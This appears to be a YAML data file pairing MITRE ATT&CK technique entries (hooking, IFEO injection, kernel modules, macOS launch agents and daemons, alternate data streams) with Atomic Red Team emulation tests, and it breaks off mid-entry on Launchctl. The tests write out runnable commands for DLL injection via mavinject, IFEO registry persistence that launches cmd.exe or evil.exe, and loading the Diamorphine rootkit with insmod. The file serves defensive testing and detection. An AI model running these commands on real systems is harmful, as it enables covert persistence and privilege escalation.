file_name:
description: File name of file to create ADS on.
type: string
default: test.txt
ads_filename:
description: Name of ADS file.
type: string
default: adstest.txt
executor:
name: powershell
elevation_required: false
command: |
echo "test" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value "test"
set-content -path #{file_name} -stream #{ads_filename} -value "test2"
set-content -path . -stream #{ads_filename} -value "test3"
ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname
T1179:
technique:
x_mitre_data_sources:
- API monitoring
- Binary file metadata
- DLL monitoring
- Loaded DLLs
- Process monitoring
- Windows event logs
x_mitre_permissions_required:
- Administrator
- SYSTEM
name: Hooking
description: "Windows processes often leverage application programming interface
(API) functions to perform tasks that require reusable system resources. Windows
API functions are typically stored in dynamic-link libraries (DLLs) as exported
functions. \n\nHooking involves redirecting calls to these functions and can
be implemented via:\n\n* **Hooks procedures**, which intercept and execute
designated code in response to events such as messages, keystrokes, and mouse
inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection
July 2017)\n* **Import address table (IAT) hooking**, which use modifications
to a process’s IAT, where pointers to imported API functions are stored. (Citation:
Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks
Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**,
which overwrites the first bytes in an API function to redirect code flow.
(Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge
Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar
to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries
may use hooking to load and execute malicious code within the context of another
process, masking the execution while also allowing access to the process's
memory and possibly elevated privileges. Installing hooking mechanisms may
also provide Persistence via continuous invocation when the functions are
called through normal use.\n\nMalicious hooking mechanisms may also capture
API calls that include parameters that reveal user authentication credentials
for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept
2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s
to conceal files, processes, Registry keys, and other objects in order to
hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)"
id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)
Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.
Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2018-01-16T16:13:52.465Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
- kill_chain_name: mitre-attack
phase_name: credential-access
external_references:
- external_id: T1179
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1179
- source_name: Microsoft Hook Overview
description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.
url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
- source_name: Endgame Process Injection July 2017
description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
A Technical Survey Of Common And Trending Process Injection Techniques.
Retrieved December 7, 2017.'
url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
- source_name: Adlice Software IAT Hooks Oct 2014
description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks.
Retrieved December 12, 2017.'
url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/
- source_name: MWRInfoSecurity Dynamic Hooking 2015
description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User
Mode. Retrieved December 20, 2017.'
url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
- source_name: HighTech Bridge Inline Hooking Sept 2011
description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved
December 12, 2017.
url: https://www.exploit-db.com/docs/17802.pdf
- source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017
description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I.
Retrieved December 18, 2017.
- source_name: Symantec Windows Rootkits
description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December
21, 2017.
url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf
- source_name: Volatility Detecting Hooks Sept 2012
description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware
Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.
url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
- source_name: PreKageo Winhook Jul 2011
description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.
url: https://github.com/prekageo/winhook
- source_name: Jay GetHooks Sept 2011
description: Satiro, J. (2011, September 14). GetHooks. Retrieved December
12, 2017.
url: https://github.com/jay/gethooks
- source_name: Zairon Hooking Dec 2006
description: Felici, M. (2006, December 6). Any application-defined hook procedure
on my machine?. Retrieved December 12, 2017.
url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/
- source_name: EyeofRa Detecting Hooking June 2017
description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense
against user-land. Retrieved December 12, 2017.'
url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
- source_name: GMER Rootkits
description: GMER. (n.d.). GMER. Retrieved December 12, 2017.
url: http://www.gmer.net/
- source_name: Microsoft Process Snapshot
description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved
December 12, 2017.
url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
- source_name: StackExchange Hooks Jul 2012
description: Stack Exchange - Security. (2012, July 31). What are the methods
to find hooked functions and APIs?. Retrieved December 12, 2017.
url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis
modified: '2019-04-03T15:02:18.662Z'
identifier: T1179
atomic_tests:
- name: Hook PowerShell TLS Encrypt/Decrypt Messages
description: 'Hooks functions in PowerShell to read TLS Communications
'
supported_platforms:
- windows
input_arguments:
file_name:
description: Dll To Inject
type: Path
default: C:\AtomicRedTeam\atomics\T1179\bin\T1179x64.dll
server_name:
description: TLS Server To Test Get Request
type: Url
default: https://www.example.com
executor:
name: powershell
elevation_required: true
command: |
mavinject $pid /INJECTRUNNING #{file_name}
curl #{server_name}
T1062:
technique:
x_mitre_data_sources:
- System calls
x_mitre_permissions_required:
- Administrator
- SYSTEM
name: Hypervisor
description: 'A type-1 hypervisor is a software layer that sits between the
guest operating systems and system''s hardware. (Citation: Wikipedia Hypervisor)
It presents a virtual running environment to an operating system. An example
of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor
operates at a level below the operating system and could be designed with
[Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide
its existence from the guest operating system. (Citation: Myers 2007) A malicious
hypervisor of this nature could be used to persist on systems through interruption.'
id: attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: 'Type-1 hypervisors may be detected by performing timing
analysis. Hypervisors emulate certain CPU instructions that would normally
be executed by the hardware. If an instruction takes orders of magnitude longer
to execute than normal on a system that should not contain a hypervisor, one
may be present. (Citation: virtualization.info 2006)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:50.958Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1062
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1062
- external_id: CAPEC-552
source_name: capec
url: https://capec.mitre.org/data/definitions/552.html
- description: Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.
source_name: Wikipedia Xen
url: http://en.wikipedia.org/wiki/Xen
- description: Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted
Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.
source_name: Myers 2007
url: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf
- description: virtualization.info. (Interviewer) & Liguori, A. (Interviewee).
(2006, August 11). Debunking Blue Pill myth [Interview transcript].
Retrieved November 13, 2014.
source_name: virtualization.info 2006
url: http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html
- description: Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.
source_name: Wikipedia Hypervisor
url: https://en.wikipedia.org/wiki/Hypervisor
modified: '2018-10-17T00:14:20.652Z'
identifier: T1062
atomic_tests:
- name: Installing Hyper-V Feature
description: |
PowerShell command to check if Hyper-v is installed .
Install Hyper-V feature.
Create a New-VM
supported_platforms:
- windows
input_arguments:
hostname:
description: Host to query to see if Hyper-V feature is installed.
type: string
default: test-vm
vm_name:
description: Create a new VM.
type: string
default: testvm
file_location:
description: Location of new VHDX file
type: string
default: C:\Temp\test.vhdx
executor:
name: powershell
command: |
Get-WindowsFeature -Name Hyper-V -ComputerName #{hostname}
Install-WindowsFeature -Name Hyper-V -ComputerName #{hostname} -IncludeManagementTools
New-VM -Name #{vm_name} -MemoryStartupBytes 1GB -NewVHDPath #{file_location} -NewVHDSizeBytes 21474836480
T1183:
technique:
x_mitre_data_sources:
- Process monitoring
- Windows Registry
- Windows event logs
x_mitre_permissions_required:
- Administrator
- SYSTEM
name: Image File Execution Options Injection
description: |-
Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)
An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)
* reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
* reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
* reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.
Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: defense-evasion
x_mitre_detection: |-
Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)
Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Oddvar Moe, @oddvarmoe
created: '2018-01-16T16:13:52.465Z'
modified: '2018-10-31T13:45:13.024Z'
external_references:
- external_id: T1183
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1183
- description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO).
Retrieved December 18, 2017.
source_name: Microsoft Dev Blog IFEO Mar 2010
url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
- description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December
18, 2017.
source_name: Microsoft GFlags Mar 2017
url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
- description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description.
Retrieved December 18, 2017.
source_name: FSecure Hupigon
url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
- description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December
18, 2017.
source_name: Symantec Ushedix June 2008
url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2
- description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent
Process Exit. Retrieved June 27, 2018.
source_name: Microsoft Silent Process Exit NOV 2017
url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
- description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image
File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.
source_name: Oddvar Moe IFEO APR 2018
url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
- description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
A Technical Survey Of Common And Trending Process Injection Techniques.
Retrieved December 7, 2017.'
source_name: Endgame Process Injection July 2017
url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
x_mitre_defense_bypassed:
- Autoruns Analysis
identifier: T1183
atomic_tests:
- name: IFEO Add Debugger
description: 'Leverage Global Flags Settings
'
supported_platforms:
- windows
input_arguments:
target_binary:
description: Binary To Attach To
type: Path
default: winword.exe
payload_binary:
description: Binary To Execute
type: Path
default: cmd.exe
executor:
name: command_prompt
elevation_required: true
command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"
'
- name: IFEO Global Flags
description: 'Leverage Global Flags Settings
'
supported_platforms:
- windows
input_arguments:
target_binary:
description: Binary To Attach To
type: Path
default: notepad.exe
payload_binary:
description: Binary To Execute
type: Path
default: cmd.exe
executor:
name: command_prompt
elevation_required: true
command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}"
/v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess
/d "#{payload_binary}"
'
T1215:
technique:
x_mitre_permissions_required:
- root
x_mitre_data_sources:
- System calls
- Process monitoring
- Process command-line parameters
name: Kernel Modules and Extensions
description: |-
Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)
Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)
Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)
id: attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
LKMs are typically loaded into /lib/modules and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)
Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.
These are typically obtained through the operating systems package manager and installed like a normal package.
Adversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)
On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r)
On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)
Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe insmod lsmod rmmod modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)
For macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Jeremy Galloway
- Red Canary
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- phase_name: persistence
kill_chain_name: mitre-attack
external_references:
- source_name: mitre-attack
external_id: T1215
url: https://attack.mitre.org/techniques/T1215
- description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
Module Programming Guide. Retrieved April 6, 2018.
source_name: Linux Kernel Programming
url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
- source_name: Linux Kernel Module Programming Guide
description: Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs.
Retrieved April 6, 2018.
url: http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html
- source_name: Volatility Phalanx2
description: 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility
to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.'
url: https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html
- source_name: CrowdStrike Linux Rootkit
description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit.
Retrieved December 21, 2017.
url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
- source_name: GitHub Reptile
description: Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved
April 9, 2018.
url: https://github.com/f0rb1dd3n/Reptile
- source_name: GitHub Diamorphine
description: Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux
Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.
url: https://github.com/m0nad/Diamorphine
- source_name: iDefense Rootkit Overview
description: Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved
April 6, 2018.
url: http://www.megasecurity.org/papers/Rootkits.pdf
- source_name: RSAC 2015 San Francisco Patrick Wardle
description: Wardle, P. (2015, April). Malware Persistence on OS X Yosemite.
Retrieved April 6, 2018.
url: https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf
- source_name: Synack Secure Kernel Extension Broken
description: Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel
Extension Loading’ is Broken. Retrieved April 6, 2018.
url: https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/
- source_name: Securelist Ventir
description: 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble
your MacOS spy. Retrieved April 6, 2018.'
url: https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/
- source_name: Wikipedia Loadable Kernel Module
description: Wikipedia. (2018, March 17). Loadable kernel module. Retrieved
April 9, 2018.
url: https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux
- source_name: Linux Loadable Kernel Module Insert and Remove LKMs
description: Henderson, B. (2006, September 24). How To Insert And Remove
LKMs. Retrieved April 9, 2018.
url: http://tldp.org/HOWTO/Module-HOWTO/x197.html
modified: '2019-07-18T15:24:28.077Z'
identifier: T1215
atomic_tests:
- name: Linux - Load Kernel Module via insmod
description: 'This test uses the insmod command to load a kernel module for
Linux.
'
supported_platforms:
- centos
- ubuntu
- linux
input_arguments:
kernel_module_file:
description: KO object containing kernel module code.
type: path
default: diamorphine.ko
module_name:
description: Kernel module name once loaded.
type: string
default: diamorphine
executor:
name: bash
elevation_required: true
command: 'insmod #{kernel_module_file}
'
cleanup_command: 'rmmod #{module_name}
'
T1159:
technique:
x_mitre_permissions_required:
- User
- Administrator
x_mitre_data_sources:
- File monitoring
- Process monitoring
name: Launch Agent
description: "Per Apple’s developer documentation, when a user logs in, a per-user
launchd process is started which loads the parameters for each launch-on-demand
user agent from the property list (plist) files found in /System/Library/LaunchAgents,
/Library/LaunchAgents, and $HOME/Library/LaunchAgents
(Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware)
(Citation: Antiquated Mac Malware). These launch agents have property list
files which point to the executables that will be launched (Citation: OSX.Dok
Malware).\n \nAdversaries may install a new launch agent that can be configured
to execute at login by using launchd or launchctl to load a plist into the
appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods
of Mac Malware Persistence). The agent name may be disguised by using a name
from a related operating system or benign software. Launch Agents are created
with user level privileges and are executed with the privileges of the user
when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for
OS X). They can be set up to execute when a specific user logs in (in the
specific user’s directory structure) or when any user logs in (which requires
administrator privileges)."
id: attack-pattern--dd901512-6e37-4155-943b-453e3777b125
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitor Launch Agent creation through additional plist files
and utilities such as Objective-See’s KnockKnock application. Launch Agents
also require files on disk for persistence which can also be monitored via
other file monitoring applications.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1159
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1159
- source_name: AppleDocs Launch Agent Daemons
description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
July 10, 2017.
url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
- source_name: OSX Keydnap malware
description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
is hungry for credentials. Retrieved July 3, 2017.
url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
- source_name: Antiquated Mac Malware
description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
code. Retrieved July 5, 2017.
url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
- source_name: OSX.Dok Malware
description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
traffic. Retrieved July 10, 2017.
url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
- source_name: Sofacy Komplex Trojan
description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
- source_name: Methods of Mac Malware Persistence
description: Patrick Wardle. (2014, September). Methods of Malware Persistence
on Mac OS X. Retrieved July 5, 2017.
url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
- source_name: OSX Malware Detection
description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
- source_name: OceanLotus for OS X
description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application
Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.
url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
modified: '2019-07-18T15:25:53.604Z'
identifier: T1159
atomic_tests:
- name: Launch Agent
description: 'Create a plist and execute it
'
supported_platforms:
- macos
executor:
name: manual
steps: |
1. Create file - .client
2. osascript -e 'tell app "Finder" to display dialog "Hello World"'
3. Place the following in a new file under ~/Library/LaunchAgents as com.atomicredteam.plist
4.
KeepAlive
Label
com.client.client
ProgramArguments
/Users//.client
RunAtLoad
NSUIElement
1
5. launchctl load -w ~/Library/LaunchAgents/com.atomicredteam.plist
T1160:
technique:
x_mitre_permissions_required:
- Administrator
x_mitre_data_sources:
- Process monitoring
- File monitoring
name: Launch Daemon
description: "Per Apple’s developer documentation, when macOS and OS X boot
up, launchd is run to finish system initialization. This process loads the
parameters for each launch-on-demand system-level daemon from the property
list (plist) files found in /System/Library/LaunchDaemons and
/Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons).
These LaunchDaemons have property list files which point to the executables
that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries
may install a new launch daemon that can be configured to execute at startup
by using launchd or launchctl to load a plist into the appropriate directories
(Citation: OSX Malware Detection). The daemon name may be disguised by using
a name from a related operating system or benign software (Citation: WireLurker).
Launch Daemons may be created with administrator privileges, but are executed
under root privileges, so an adversary may also use a service to escalate
privileges from administrator to root.\n \nThe plist file permissions must
be root:wheel, but the script or program that it points to has no such requirement.
So, it is possible for poor configurations to allow an adversary to modify
a current Launch Daemon’s executable and gain persistence or Privilege Escalation."
id: attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitor Launch Daemon creation through additional plist files
and utilities such as Objective-See's Knock Knock application.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
x_mitre_effective_permissions:
- root
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1160
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1160
- source_name: AppleDocs Launch Agent Daemons
description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
July 10, 2017.
url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
- source_name: Methods of Mac Malware Persistence
description: Patrick Wardle. (2014, September). Methods of Malware Persistence
on Mac OS X. Retrieved July 5, 2017.
url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
- source_name: OSX Malware Detection
description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
- source_name: WireLurker
description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
Retrieved July 10, 2017.'
url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
modified: '2019-07-18T15:26:40.592Z'
identifier: T1160
atomic_tests:
- name: Launch Daemon
description: 'Utilize LaunchDaemon to launch `Hello World`
'
supported_platforms:
- macos
executor:
name: manual
steps: |
1. Place the following file (com.example.hello) in /System/Library/LaunchDaemons or /Library/LaunchDaemons
2.
Label
com.example.hello
ProgramArguments
hello
world
KeepAlive
T1152:
technique:
x_mitre_permissions_required:
- User
- Administrator
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
name: Launchctl
description: "Launchctl controls the macOS launchd process which handles things
like launch agents and launch daemons, but can execute other commands or programs
itself. Launchctl supports taking subcommands on the command-line, interactively,
or even redirected from standard input. By loading or reloading launch agents
or launch daemons, adversaries can install persistence or execute changes
they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl
is as simple as launchctl submit -l -- /Path/to/thing/to/execute
\"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents
